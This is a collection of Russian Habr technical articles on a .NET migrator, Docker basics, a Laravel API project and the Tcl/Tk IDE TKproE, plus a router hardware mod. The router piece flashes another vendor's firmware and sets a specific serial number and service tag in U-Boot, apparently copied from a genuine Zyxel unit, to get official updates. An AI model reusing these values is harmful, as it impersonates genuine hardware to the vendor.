Все изменения БД записываются в коде миграций — классов, написанных на языке программирования (например, на C#). Классы миграций наследуются от базового класса `Migration` из пакета [ThinkingHome.Migrator.Framework](https://www.nuget.org/packages/ThinkingHome.Migrator.Framework). В них нужно переопределить методы базового класса: `Apply` (применить изменения) и `Revert` (откатить изменения). Внутри этих методов разработчик при помощи [специального API](https://github.com/thinking-home/migrator/blob/master/docs/writing-migrations.md) описывает действия, которые нужно выполнить над БД.
Также класс миграции нужно пометить атрибутом `[Migration]` и указать версию, в которую перейдет БД после выполнения этих изменений.
### Пример миграции
```
using ThinkingHome.Migrator.Framework;
[Migration(12)]
public class MyTestMigration : Migration
{
public override void Apply()
{
// прямые изменения: создаем таблицу
Database.AddTable("CustomerAddress",
new Column("customerId", DbType.Int32, ColumnProperty.PrimaryKey),
new Column("addressId", DbType.Int32, ColumnProperty.PrimaryKey));
}
public override void Revert()
{
// обратные изменения: удаляем таблицу
Database.RemoveTable("CustomerAddress");
// если откат изменений не нужен, то
// метод Revert можно не переопределять
}
}
```
### Как запустить
Миграции компилируются в файл .dll. После этого вы можете выполнить изменения БД с помощью консольной утилиты `migrate-database`. Для начала, установите её [из NuGet](https://www.nuget.org/packages/ThinkingHome.Migrator.CLI).
```
dotnet tool install -g thinkinghome.migrator.cli
```
Запустите `migrate-database`, указав нужный тип СУБД, строку подключения и путь к файлу .dll с миграциями.
```
migrate-database postgres "host=localhost;port=5432;database=migrations;" /path/to/migrations.dll
```
### Запускаем через API
Вы можете выполнять миграции через API из собственного приложения. Например, вы можете написать приложение, которое при запуске само создает себе нужную структуру БД.
Для этого подключите в свой проект пакет [ThinkingHome.Migrator](https://www.nuget.org/packages/ThinkingHome.Migrator) из NuGet и пакет с [провайдером трансформации для нужной СУБД](https://www.nuget.org/packages?q=ThinkingHome.Migrator.Providers). После этого создайте экземпляр класса `ThinkingHome.Migrator.Migrator` и вызовите его метод `Migrate`, передав в качестве параметра нужную версию БД.
```
var version = -1; // версия -1 означает последнюю доступную версию
var provider = "postgres";
var connectionString = "host=localhost;port=5432;database=migrations;";
var assembly = Assembly.LoadFrom("/path/to/migrations.dll");
using (var migrator = new Migrator(provider, connectionString, assembly))
{
migrator.Migrate(version);
}
```
Кстати, можете сравнить с [примером запуска](https://fluentmigrator.github.io/articles/quickstart.html?tabs=runner-in-process#running-your-first-migration) FluentMigrator.
Заключение
----------
Я старался сделать простой инструмент без зависимостей и сложной магии. Кажется, получилось неплохо. Проект давно не сырой, всё покрыто тестами, есть [подробная документация](https://github.com/thinking-home/migrator#readme) на русском. Если вы используете .NET Core 2.1, попробуйте [новый мигратор](https://www.nuget.org/packages/ThinkingHome.Migrator.Framework). Скорее всего, вам тоже понравится. | https://habr.com/ru/post/414867/ | null | ru | null |
# Мифы и рецепты Docker
Вокруг постоянно говорят про Docker. Я знаю что вы отвечаете: «Это что-то про контейнеры, виртуализацию, облака», «У нас все и так работает», «Это все баловство», «Он не запустится на нашем старом ядре линукса», «Точно так же можно подготовить образ для облака и запустить его», «Можно просто настроить LXC, chroot или AppArmor». Вы знаете, что он вам не нужен. Очередная модная штука. В конце концов, просто лень разбираться. Но любопытно! Тогда, читайте. Это серия из шести заметок.
Если вы не слышали о контейнерах в Линуксе, вот список страниц, которые надо прочитать, чтобы понимать о чем речь:
* [en.wikipedia.org/wiki/LXC](https://en.wikipedia.org/wiki/LXC)
* [en.wikipedia.org/wiki/UnionFS](https://en.wikipedia.org/wiki/UnionFS)
* [habrahabr.ru/post/253877](http://habrahabr.ru/post/253877/)
* [www.docker.com/whatisdocker](https://www.docker.com/whatisdocker)
Поставьте Docker, он небольшой. Для Windows и Mac можно просто поставить Toolbox: [www.docker.com/toolbox](https://www.docker.com/toolbox). Создавать виртуальную машину и настраивать лучше из командной строки, а не через графическую обертку. Прочитайте несколько уроков из мануала. Здесь я пишу о том, чего в документации нет.
#### Docker — это не виртуализация.
Вот какой у меня линукс:
```
Welcome to Ubuntu 15.04 (GNU/Linux 3.19.0-15-generic x86_64)
Last login: Tue Aug 18 00:43:50 2015 from 192.168.48.1
gri@ubuntu:~$ uname -a
Linux ubuntu 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/ Linux
gri@ubuntu:~$ free -h
total used free shared buffers cached
Mem: 976M 866M 109M 11M 110M 514M
-/+ buffers/cache: 241M 735M
Swap: 1.0G 1.0M 1.0G
```
Запускаю CentOS:
```
gri@ubuntu:~$ docker run -ti centos
[root@301fc721eeb9 /]# uname -a
Linux 301fc721eeb9 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
[root@301fc721eeb9 /]# cat /etc/redhat-release
CentOS Linux release 7.1.1503 (Core)
[root@301fc721eeb9 /]# free -h
total used free shared buff/cache available
Mem: 976M 85M 100M 12M 790M 677M
Swap: 1.0G 1.0M 1.0G
```
Docker — это не chroot, их функционал частично совпадает. Это не система безопасности вроде AppArmor. Docker использует те же контейнеры, что и LXC, но интересен он не контейнерами. Docker — это ничего из того, что я думал о нем до того, как прочитал документацию.
То же ядро, память, файловая система, а дистрибутивы, библиотеки и пользователи — разные.
#### Docker — это инструмент объекто-ориентированного проектирования
Регулярно возникает вопрос, является ли конфигурация nginx частью веб-приложения. Системные администраторы спорят с разработчиками. Но недавно в мире появились devops и захотели вместо последовательно-процедурного вызова команд из bash думать привычным OOP. Docker дает инкапсуляцию, наследование и полиморфизм компонентам системы, таким как база данных и данные. Это значит, что можно провести декомпозицию всей информационной системы, выделить приложение, web-сервер, базу данных, системные библиотеки, рабочие данные в независимые компоненты, внедрять зависимости из конфигов, и заставить все это работать одной группой, одинаково на разных компьютерах.
Такой подход можно использовать, чтобы снизить потери рабочего времени дорогих front-end разработчиков на настройку базы данных и Nginx. Чтобы уйти от vendor lock-in. Не обломаться когда openssl на сервере не поддерживает cipher, используемый в API госучреждения. Чтобы приложение работало независимо от версии PHP или Python на сервере заказчика. Создавать open source не только в виде кода, но и настройкой пакетов из нескольких приложений, написанных на разных языках, работающих на разных слоях OSI.
#### Начало
Итак, я открыл [docs.docker.com/mac/started](https://docs.docker.com/mac/started/), поставил Docker, выполнил несколько упражнений, и почувствовал, что меня держат за дурачка-двоечника, которого боятся перегрузить информацией. Первый вопрос: куда это чертов докер поставился, где лежат его файлы, в каком формате, как оно все устроено? Ответы здесь: [blog.thoward37.me/articles/where-are-docker-images-stored](http://blog.thoward37.me/articles/where-are-docker-images-stored/)
Если вкратце, для для работы с файловой системой Docker использует один из драйверов, обычно это [AUFS](https://en.wikipedia.org/wiki/Aufs), и все файлы контейнеров лежат в /var/lib/docker/aufs/diff/. В /var/lib/docker/containers/ служебная информация, а не сами файлы контейнеров.
Образы — это как классы в коде. Контейнеры — как объекты, созданные из классов. Основное отличие — контейнер можно закомитить и сделать из него образ. Образы состоят из так называемых слоев, слои — это папки, которые лежат в /var/lib/docker/aufs/diff/. Обычно образы приложений наследуют какие-то готовые официальные системные образы. Когда Docker скачивает образ, ему нужны только те слои, которых у него нет.
Например, скачаю я официальный образ nginx: [hub.docker.com/r/library/nginx/tags](https://hub.docker.com/r/library/nginx/tags/)
```
docker@dev:~$ docker pull nginx
latest: Pulling from nginx
aface2a79f55: Pull complete
72b67c8ad0ca: Downloading [=============> ] 883.6 kB/3.386 MB
9108e25be489: Download complete
902b87aaaec9: Already exists
9a61b6b1315e: Already exists
```
Пишут, что образ nginx 1.9.4 размером 52 мб, а по факту, у меня скачается всего 3 мб. Это потому, что nginx собран на образе debian:jessie, который у меня «Already exists». Есть много образов на базе Ubuntu. Конечно, стоит собирать свою систему из образов с одним предком.
#### Docker не исполняет контейнеры, а управляет ими
Контейнеры исполняются механизмом ядра под названием [Cgroups](https://en.wikipedia.org/wiki/Cgroups). Служба docker запускает контейнер по команде, полученной от клиентского приложения (например, docker), и останавливает его когда в контейнере освобождается поток стандартного ввода-вывода. Поэтому в конфигурации Nginx для Docker пишут:
> Be sure to include daemon off; in your custom configuration to ensure that Nginx stays in the foreground so that Docker can track the process properly (otherwise your container will stop immediately after
>
> starting)!
Когда работа контейнера заканчивается, он не удаляется, если это не указать специально. Каждый за$ пуск контейнера командой docker run image\_name без параметров --name или --rm создает новый контейнер с уникальным идентификатором, который остается в системе до удаления. Так что Docker — система, склонная к замусориванию. Имена контейнеров в системе уникальны. Рекомендую присваивать имя каждому создаваемому постоянному контейнеру, а контейнеры, в которых не нужно сохранять данные, рекомендую создавать с параметром --rm. Контейнеры создаются командами docker run и docker create. Посмотреть список всех существующих в системе контейнеров можно командой docker ps -a.
#### Docker — это клиент-серверная системная служба
Соответственно, Docker может и зависнуть. Если вы дали команду скачать образ, единственный способ прервать процесс скачивания — перезапустить службу. Авторы уже давно обсуждают что с этим делать, но воз и ныне там.
Например, в версии 1.8.1 есть воспроизводимая проблема:
```
docker@dev:~$ docker pull debian
Using default tag: latest
latest: Pulling from library/debian
2c49f83e0b13: Downloading [===================> ] 19.89 MB/51.37 MB
```
Нажимаю Ctrl-C, затем сразу запускаю скачивание повторно.
```
docker@dev:~$ docker pull debian
Using default tag: latest
```
Картина Репина «Приплыли». То есть, зависли. Надо перезапустить демон.
```
docker@dev:~$ sudo /etc/init.d/docker restart
Need TLS certs for dev,127.0.0.1,10.0.2.15,192.168.99.104
-------------------
docker@dev:~$ sudo /etc/init.d/docker status
Docker daemon is running
docker@dev:~$ docker pull debian
Using default tag: latest
latest: Pulling from library/debian
...
Status: Downloaded newer image for debian:latest
```
Бывает, что демон docker не хочет умирать самостоятельно и не освобождает порт, а init-скрипт пограничные случаи еще не отрабатывает. Так что не забывайте проверять sudo /etc/init.d/docker status, sudo netstat -ntpl, доставайте бубен и танцуйте.
Еще надо помнить, что порядок операторов для команды docker имеет значение. Если написать docker create nginx --name=nginx, --name=nginx будет считаться командой, которую надо выполнить в контейнере, а не именем контейнера.
Теперь вам будет проще разбираться с официальной документацией.
Продолжение: [habrahabr.ru/post/267451](http://habrahabr.ru/post/267451/) и [habrahabr.ru/post/267455](http://habrahabr.ru/post/267455/) | https://habr.com/ru/post/267441/ | null | ru | null |
# Переделка роутера Hame R-1 в Zyxel Keenetic
Если вдруг вы оказались случайным или не случайным владельцем данного роутера, то наверняка уже успели разочароваться, бедной стандартной прошивкой и крайне скудным внутренним потенциалом. Если вам также не повезло как и мне, то роутер имеет в наличии flash размером 4 мб (W25Q32FV) и SDRAM 16 мб (EM639165TS-6G). В этой статье я расскажу, как можно изменить печальную ситуацию с этим роутером в лучшую сторону и получить в конечном итоге роутер с прошивкой от Zyxel с возможностью обновления.
В самом начале статьи хотелось бы указать на необходимые детали/оборудование, которые понадобятся, для того, чтобы претворить наш план в реальность:
SDRAM размером 32 мб — EM63A165TS-6G;
Программатор SPI Flash (я использовал CH341a);
USB-UART конвертер (имеется в CH341a);
Паяльный фен. Необязательно, но очень желательно, я справился без него, но далее вы увидите, к чему это привело;
Паяльник;
Прямые руки, желательно, прямее чем у меня;
Дамп флеши с рабочего Keenetic, на просторах интернета я нашел дамп от Keenetic 4G II.
Также я менял flash на 8мб (W25Q64FV), но для данной статьи это не обязательно. Так как размер прошивки не превышает 4мб.
Все детали я заказывал на Aliexpress. Получив их, начинаем творить.
Сперва сливаем прошивку, которой одарили нас китайцы. На всякий случай. Сделать это можно, либо выпаять флешку, либо использовать прищепку, или поступить как я:
**Фото 1**
Просто припаяны короткие провода прямо к флешке. Провода должны быть как можно короче. Изначально были длинными, флеш терялась, пришлось укоротить. Если будете поступать как я, то сливайте несколько раз, и проверьте бинарники на одинаковость, например тем же md5hash.
Далее необходимо отпаять sdram, для меня это чуть было не закончилось трагедией. Но все же удалось восстановить оторванные дорожки, и не спрашивайте каким образом я их оторвал. Второй ряд контактов микросхемы я просто отломал. Ибо и так уже ее испортил.
Припаиваем на место новенький sdram на 32 мб (как все-таки просто описывать эту операцию, буквально уложился в несколько предложений, но под ними скрываются часы кропотливой работы (без фена), а сколько нервов!).
Я надеюсь, у вас выйдет без таких косяков, как у меня. Двигаемся дальше.
Далее можно залить дамп от Keenetic 4G II при помощи программатора и запускать роутер, вот только вас ждет жестокий облом: после всех пройденных испытаний роутер не запустится, так как определяется память все еще в объеме 16 мб. На этом моменте я по незнанию потратил очень много времени, так как большинство материалов, которые мне попадались, указывали на несовершенство загрузчика (u-boot), мол, нужен специальный, который видит весь объем памяти sdram. Я их перепробовал целую кучу. До тех пор, пока не наткнулся на одну из статей: оказалось, для того, чтобы роутер увидел весь объем памяти, необходимо перенести пару резисторов.
**Фото 2**
Синим указано старое расположение, красным новое.
Ну и конечно же, отпаивая детали размером в миллиметр, я их прикончил. Поискав в закромах, была найдена старая материнская плата, которая и послужила донором. Резисторы там, правда, покрупнее, поэтому сделать удалось так:
**Фото 3**
Резисторы (выделены синим) приклеены верхней стороной на свободных местах (сопротивление — 4,7 к).
Что делаем далее. Далее распаиваем контакты для подключения uart. Необходимые контакты находятся с обратной стороны платы под наклеенной фольгой. Плюсовой контакт нам не понадобится, GND берем рядом. Зачищаем контакты, припаиваем, тут уже кто что хочет: я сразу провода припаял, так как со штырьками мне показалось неудобно. Для подключения к COM порту я использовал Putty, скорость выставляем 56700. Далее подключаем аккумулятор к роутеру (здесь важно отметить, что после отключения аккумулятора и последующего подключения роутер не включается, необходимо на короткое время подключить его к зарядке). Запускаем роутер, в консоли должен отображаться этап загрузки, примерный текст следующего вида.
```
U-Boot 1.1.3 (Apr 8 2014 - 19:03:10)
Board: Ralink APSoC DRAM: 32 MB
relocate_code Pointer at: 81fb4000
USB mode is Host.
spi_wait_nsec: 42
spi device id: ef 40 17 0 0 (40170000)
Warning: un-recognized chip ID, please update bootloader!
*** Warning - bad CRC, using default environment
============================================
Ralink UBoot Version: 3.5.2.5_ZyXEL
--------------------------------------------
ASIC 5350_MP (Port5<->None)
DRAM_CONF_FROM: Boot-Strapping
DRAM_TYPE: SDRAM
DRAM_SIZE: 256 Mbits
DRAM_WIDTH: 16 bits
DRAM_TOTAL_WIDTH: 16 bits
TOTAL_MEMORY_SIZE: 32 MBytes
Flash component: SPI Flash
Date:Apr 8 2014 Time:19:03:10
```
Если у вас в консоли ничего нет, возможно неверно подключили uart, если кракозябры, значит не выставили скорость порта.
TOTAL\_MEMORY\_SIZE должен быть 32 MBytes если он у вас 16, значит что-то сделали не так, вероятно, забыли про резисторы. Да, у меня после первой попытки их перепаять TOTAL\_MEMORY\_SIZE стал 8Мб. Оказалось, плохо припаян резистор ближайший к Ralink.
Итак sdram перепаян, flash прошита, резисторы перепаяны, загрузчик показывает 32Мб. Что делаем дальше? Дальше пробуем запустить роутер. Должен работать.
Подключаем кабель, переходим в веб интерфейс (192.168.1.1). Смотрим. На этом этапе у вас не должно быть сервисного кода:
**Фото 4**
В журнале должна проскакивать ошибка: что-то вроде «key not found sevicetag» (предполагается, что роутер подключен к интернету). Далее перезагружаем роутер, естественно с подключенным usb-uart, и сразу же быстро нажимаем в консоли клавишу 4. Далее набираем данные команды по очереди.
```
setenv zyxelsn S132E30046258
setenv servicetag 101614015618458
saveenv
```
Перезагружаем устройство. В интерфейсе должен отображаться сервисный код (роутер должен быть подключен к интернет). Переходим в обновления. Вот тут устройство сразу отказывается искать обновления. Я несколько раз пробовал перезагружать страницу, роутер напрочь отказывался обновляться. До тех пор пока я не выбрал один из компонентов (Интернет фильтр Яндекс DNS), перед этим выбрав «работать в офлайне», там была активна кнопка удалить. Нажав на нее, получил сообщение «настройки сохранены» (что-то вроде этого), через какое-то время всплыло окно о том, что имеются обновления, согласился на них. После этого проблем с изменением конфигурации прошивки через веб-интерфейс роутера не возникало. На данный момент версия прошивки v2.05(AAKW.1)C1. На этом все.
P.S.: Если после обновления вновь подключиться к роутеру через usb-uart и вывести все значения (printenv), то помимо введенных вами ранее zyxelsn и servicetag вы увидите новый параметр servicepass. Так вот, до этого я заливал прошивку, скачанную с сайта Zyxel, через usb-uart, то есть используя загрузчик от сторонней прошивки, и параметр servicepass не появлялся. В журнале роутера при этом появлялось сообщение что-то вроде «key not found servicepass» и конечно же обновляться он не хотел.
Используемые материалы: [4pda](http://4pda.ru/forum/index.php?showtopic=510978&st=220), [mysku](http://mysku.ru/blog/aliexpress/27796.html) | https://habr.com/ru/post/387021/ | null | ru | null |
# «Рабочие места» для цифровых кочевников: реализация прагматичного API
Карта Кипра с "рабочими местами" для цифровых кочевниковЕщё один небольшой pet-проект: про кафе и коворкинги на солнечном Кипре. "Рабочие места" для цифровых кочевников ヽ(。\_°)ノ
Делюсь процессом разработки, фичами и граблями. Общий подход к разработке прагматичен и аналогичен [предыдущему проекту](https://habr.com/ru/post/677288/).
### Цели проекта
Кафе, кофеен, кафенио, таверн, ресторанов и баров на острове очень много, но далеко не в каждом можно спокойно поработать хотя бы пару часов. Есть, конечно, широкоизвестные Starbucks, Costa Coffee, Gloria Jeans Coffee и т.д., но ещё есть очень уютные и совершенно недооценённые локальные заведения. Поэтому было решено:
1. Категоризовать места по актуальным для удалённой работы параметрам: кафе/коворкинг, розетки, шум, размер, занятость, вид из окна и т.д.
2. Фильтровать места по выбранным параметрам.
3. Показать карту с подходящими местами.
4. Реализовать десктопную и мобильную версию веб-приложения.
Всё удалось, [код проекта](https://github.com/workplacescy) открыт, велкам в пул-реквесты. Адрес сайта - в конце статьи, чтобы меньше походило на рекламу.
Для достижения целей было решено реализовать REST API микросервис на Laravel с админкой на Twill и [фронтэнд веб-приложение](https://habr.com/ru/post/695200/) на Vue. Деплой, как и прежде, на [Fly.io](http://Fly.io).
### REST API микросервис
В качестве платформы выбран знакомый и лёгкий Laravel и PHP 8.1 с promoted- и readonly- properties и строгой типизацией.
[composer.json](https://github.com/workplacescy/api/blob/develop/composer.json) и [конфигурация проекта](https://github.com/workplacescy/api/tree/develop/config) максимально облегчены: удалены неиспользуемые пакеты и классы, отключен [platform-check](https://getcomposer.org/doc/06-config.md#platform-check), включен [classmap-authoritative](https://getcomposer.org/doc/06-config.md#classmap-authoritative).
Благодаря этому количество загружаемых классов уменьшилось в 4,5 раза с 28247 до 6230 штук, каталог vendor "похудел" почти в 1,5 раза, тесты стали проходить чуть быстрее.
### Архитектура
Основная модель [Place](https://github.com/workplacescy/api/blob/develop/app/Models/Place.php) - типичная Laravel-модель с прослойкой из модели Twill (`A17\Twill\Models\Model`).
[Свойства для фильтрации](https://github.com/workplacescy/api/tree/develop/app/Enums) - нативные PHP enum'ы с несколькими общими методами из трейта [EnumValues](https://github.com/workplacescy/api/blob/develop/app/Traits/EnumValues.php) для получения значений для админки. Кастятся в свойства модели.
Кроме того, у каждого свойства есть коэффициент и вес для расчёта рейтинга заведения. Например, [наличие розеток](https://github.com/workplacescy/api/blob/develop/app/Enums/Sockets.php) более важно, чем [вид из окна](https://github.com/workplacescy/api/blob/develop/app/Enums/View.php).
```
enum Sockets: string implements PropertyEnum
{
use EnumValues;
case None = 'None';
case Few = 'Few';
case Many = 'Many';
public const WEIGHT = 3;
public static function default(): self
{
return self::Few;
}
/** @inheritDoc */
public function coefficient(): int
{
return match ($this) {
self::None => 1,
self::Few => 3,
self::Many => 5,
};
}
}
```
Запросы к API обрабатываются single-action контроллерами, валидируются Request'ами в т.ч. по совпадению с enum'ами. Например, [IndexRequest](https://github.com/workplacescy/api/blob/develop/app/Http/Requests/IndexRequest.php).
```
#[OA\Parameter(name: 'busyness', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'city', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'size', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'sockets', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'noise', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'type', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'view', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'cuisine', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string'))]
#[OA\Parameter(name: 'vRate', in: 'query', allowEmptyValue: false, schema: new OA\Schema(type: 'string', format: 'float', maximum: 0, minimum: 5))]
final class IndexRequest extends FormRequest
{
/** @return array{busyness: string, city: string, size: string, sockets: string, noise: string, type: string, view: string} */
public function rules(): array
{
return [
'busyness' => ['sometimes', 'required', new Enum(Busyness::class)],
'city' => ['sometimes', 'required', new Enum(City::class)],
'size' => ['sometimes', 'required', new Enum(Size::class)],
'sockets' => ['sometimes', 'required', new Enum(Sockets::class)],
'noise' => ['sometimes', 'required', new Enum(Noise::class)],
'type' => ['sometimes', 'required', new Enum(Type::class)],
'view' => ['sometimes', 'required', new Enum(View::class)],
'cuisine' => ['sometimes', 'required', new Enum(Cuisine::class)],
'vRate' => ['sometimes', 'required', 'float', 'numeric', 'between:0,5'],
];
}
}
```
Нативные PHP-аттрибуты позволили разместить OpenAPI-разметку гораздо компактнее, чем в DocBlock'ах. Итоговый [openapi.yaml](https://github.com/workplacescy/api/blob/develop/storage/openapi.yaml) создаётся с помощью [swagger-php](https://zircote.github.io/swagger-php/) и используется для тестирования API.
Кроме валидаторов, запросы проходят через [фильтры](https://github.com/workplacescy/api/blob/develop/app/ModelFilters/PlaceFilter.php) на основе [EloquentFilter](https://github.com/Tucker-Eric/EloquentFilter) - очень выразительное решение вместо кучи if'ов и when'ов.
У некоторых заведений есть фотографии, которые прозрачно загружаются в AWS S3 из админки и обрабатываются сервисом [Imgix](https://imgix.com). На стороне API нет ничего для работы с картинками.
Для получения подробных geo-данных для заведения из Google Maps используется [GooglePlacesService](https://github.com/workplacescy/api/blob/develop/app/Services/GooglePlacesService.php) и пакет [alexpechkarev/google-maps](https://github.com/alexpechkarev/google-maps/). В API сервис все заведения добавляются только с названием, городом и свойствами для рейтинга. Остальное - координаты, идентификаторы компании, адрес и ссылка получаются в 2 шага из Google Places API.
Для расчёта рейтинга заведения используется [VRateService](https://github.com/workplacescy/api/blob/develop/app/Services/VRateService.php).
Оба сервиса завёрнуты в соответствующие [экшены](https://github.com/workplacescy/api/tree/develop/app/Actions) и доступны через [консольные команды](https://github.com/workplacescy/api/tree/develop/app/Console/Commands) и события после записи заведения.
Готовые данные оборачиваются в [PlaceResource](https://github.com/workplacescy/api/blob/develop/app/Http/Resources/PlaceResource.php) и [PlaceCollection](https://github.com/workplacescy/api/blob/develop/app/Http/Resources/PlaceCollection.php). Там же из них удаляются лишние поля. Для принудительного ответа в JSON-формате используется middleware [JsonResponse.php](https://github.com/workplacescy/api/blob/develop/app/Http/Middleware/JsonResponse.php)
```
final class JsonResponse
{
/** @param Closure(Request): (BaseJsonResponse) $next */
public function handle(Request $request, Closure $next): BaseJsonResponse
{
$request->headers->set('Accept', 'application/json');
return $next($request);
}
}
```
### Административная панель управления
Ранее я уже работал с [Twill](https://twill.io/), поэтому решил использовать его для своего проекта: открытая бесплатная система с богатыми возможностями и хорошей поддержкой. Why not? :-)
Ставится через `composer require area17/twill`, добавляет несколько миграций и прозрачно связывается с существующими моделями. В некоторых случаях необходимо добавить к ним служебные поля типа `published` и дат начала/окончания аквтивности. Впрочем, в документации всё подробно описано.
Сейчас рекомендую попробовать версию 3-beta: в ней гораздо больше возможностей программного управления данными на страницах вместо отдельных виджетов в blade-шаблонах.
Пример контроллера [раздела](https://github.com/workplacescy/api/blob/develop/app/Http/Controllers/Twill/PlaceController.php), [репозитария](https://github.com/workplacescy/api/blob/develop/app/Repositories/PlaceRepository.php) и [шаблона](https://github.com/workplacescy/api/blob/develop/resources/views/twill/places/form.blade.php).
### БД
Простая и быстрая SQLite *¯\\_(ツ)\_/¯*
На хостинге размещена на persistent volume. Никаких настроек не потребовалось.
### Тесты
Для [тестов](https://github.com/workplacescy/api/tree/develop/tests) используется [Pest](https://pestphp.com/) с поддержкой Laravel, параллельным выполнением тестов и отключенным тротлингом (`$this->withoutMiddleware(ThrottleRequests::class)`).
По эндпойтам проверяется адекватость ответов по [dataset](https://github.com/workplacescy/api/tree/develop/tests/Datasets)'ам и их соответствие с OpenAPI-спецификацией.
Для ручной проверки есть [Rector](https://github.com/rectorphp/rector/) с некоторыми [исключениями](https://github.com/workplacescy/api/blob/develop/rector.php).
Нашёлся один минус: laravel/dusk и php-webdriver/webdriver прибиты к Twill и требуют обязательной установки, хотя в моих тестах не используются *:-(*
### Деплой
Для размещения сервера используется платформа [Fly.io](http://Fly.io) с управляемыми microVM Firecracker. Она никогда не спит, имеет хороший free tier и позволяет разместить как статику, так и любой сервер приложений. Кроме того, сама терминирует https-трафик, управляет сертификатами, предоставляет различные стратегии деплоя и отката изменений, health check'и и имеет широкую географию дата-центров.
Настроить среду выполнения можно автоматически командой `flyctl launch` из каталога приложения или написать свои конфиг и Dockerfile.
Я использовал свой [Dockerfile](https://github.com/workplacescy/api/blob/develop/Dockerfile) и запуск микросервиса API самым простым способом через `php artisan serve`.
Раздачу статики (ассеты админки и robots.txt & Co) можно делегировать платформе Fly посредством настройки [fly.toml](https://github.com/workplacescy/api/blob/develop/fly.toml)
```
[[statics]]
guest_path = "/var/www/html/public/assets"
url_prefix = "/assets"
```
### CI/CD
Всё просто: [Github Action из одного workflow](https://github.com/workplacescy/api/blob/develop/.github/workflows/deploy.yml) и тот же самый flyctl.
### Мониторинг
Для отслеживания ошибок используется [Sentry](https://sentry.io/), а для аптайма и доступности - [Honeybadger](https://www.honeybadger.io/).
**На этом этапе микросервис API работает, размещён в production-окружении и доступен всем пользователям. План-минимум выполнен :-)**
[Репозиторий API](https://github.com/workplacescy), сайт <https://workplaces.cy/>
Во [второй части](https://habr.com/ru/post/695200/) расскажу про создание фронтэнда на Vue 3 Composition API. | https://habr.com/ru/post/694142/ | null | ru | null |
# Tcl/tk: интегрированная среда разработки TKproE-2.30
Прошло без малого пять лет как я впервые столкнулся с интегрированной средой разработки программ на tcl/tk [TKproE-2.20](https://habr.com/ru/post/343930/). В апреле 2021 года вышла новая версия этого продукта — [TKproE-2.30](https://sourceforge.net/projects/tkproe/files/tkproe/TKproE%202.30/) и я полностью погрузился в её мир. Он меня заворожил. Название TKproE является аббревиатурой от TCL/TK Programming Environment. TKproE — это интегрированная среда разработки программ для языка сценариев TCL/TK. Сам TKproE полностью написан на языке TCL/TK. В преамбуле к TKproE подчёркнуто, что он поддерживает быструю разработку сложных графических пользовательских интерфейсов.
Что же принципиально нового появилось в новой версии по сравнению с версией 2.20 помимо нового логотипа?
На мой взгляд, это две вещи. Первое, TKproE теперь распространяется не только в виде tcl-скрипта, но и в виде абсолютно самодостаточных бинарных исполняемых файлов. Второе, это добавление в проект кнопки «Build», которая позволяет получать бинарный код для любого проекта, создаваемого в рамках TKproE:
Нужно согласиться, что мало кто откажется от такого сервиса. Как говорится, пустячок, а приятно. Для создания бинарного кода используется враппер [freewrap](https://freewrap.dengensys.com/). Очень удобная вещь. Лично я долго пользовался этим враппером, пока мне на глаза не попался враппер [tclexecomp](http://tclexecomp.sourceforge.net/), который сделан на базе всё того же проекта freewrap.
Прельстил он меня наличием в нём встроенного пакета (tcl-модуля) tls с поддержкой протокола [tls1.3](https://habr.com/ru/post/588681/), без которого сегодня трудно обойтись. Например, [доступ на GitHUB](https://habr.com/ru/post/588681/) сегодня возможен только по протоколу tls1.3. Надо сказать, что и набор встроенных пакетов у враппера tclexecomp шире, чем у самого freewrap. Хотя понятно, что при желании нет проблем подключить новые пакеты, но для этого надо постараться. Помимо Linux и Windows tclexecomp портирован также и на платфорпму OS/X (macOS). Более того, начиная с версии 1.2.0 у этого враппера появился функционал, который позволяет оптимизировать состав пакетов, включённых во враппер, которым вы собираетесь пользоваться, или оптимизировать уже готовый бинарный файл. Для этого достаточно выполнить команду tclexecomp –gui:
Если необходимо оптимизировать уже собранный бинарный файл конкретного приложения, то достаточно временно переименовать его так, чтобы он начинался с символов «tclexecomp» (как это видно на скриншоте). Но покритиковать tclexecomp причина всё же есть. Так, в его составе отсутствует кодировка cp1251.enc и даже ascii.enc. Отсутствуют также и русские словари ru.msg и для tcl, и для tk.
Конечно, это не страшно и они легко добавляются. Более того, все эти недостатки и для freewrap, и для tclexecomp устранимы и все новые дистрибутивы tkproe, которые будут представлены ниже, собраны без этих недостатков. Надо отметить, что наличие консоли freewrap или tclexecomp дает дополнительные возможности при разработке приложения:
Врапперы freewrap и tclexdecomp заслуживают отдельной публикации.
Но вот что интересно, бинарный код для проекта TKproE средствами самого tkproe создать не удастся. TKproE, по понятным причинам, просто не загрузит свой исходный код.
Поэтому бинарный код для TKproE создается из командной строки. Создание бинарного кода для сторонних проектов в TKproЕ также не предусмотрено. А поскольку у меня возникли некоторые идеи по внесению дополнений в проект TKproE, то я счёл целесообразным начать дополнения функционала с вкладки Build, дополнив её возможностью собирать бинарный код для внешних проектов (в том числе и для tkproe). При этом учитывалось то, что бинарный код может собираться с использованием обоих врапперов и freewrap, и tclexecomp.
После внесения дополнений вкладка Build с использованием враппера freewrap при генерации бинарного кода для внешнего проекта выглядит так:
Как видим, появилась дополнительная кнопка «Build executable program for external project» (Создать бинарный код для внешнего проекта). Появилась область «Used wrapper», в которой указывается тип враппера, используемого для создания бинарного кода TKproE.
И самое главное, появилась возможность выбирать главный скрипт внешнего приложения, для которого создается бинарный код. При использовании враппера tclexecomp появляется возможность собирать бинарный код и для MacOS (OS/X):
Несомненным плюсом является то, что если используется «завёрнутый» tkproe, он же может выступать в качестве обёртки для других приложений.
Что касается платформы macOS, то для большего единообразия на ней были заменены
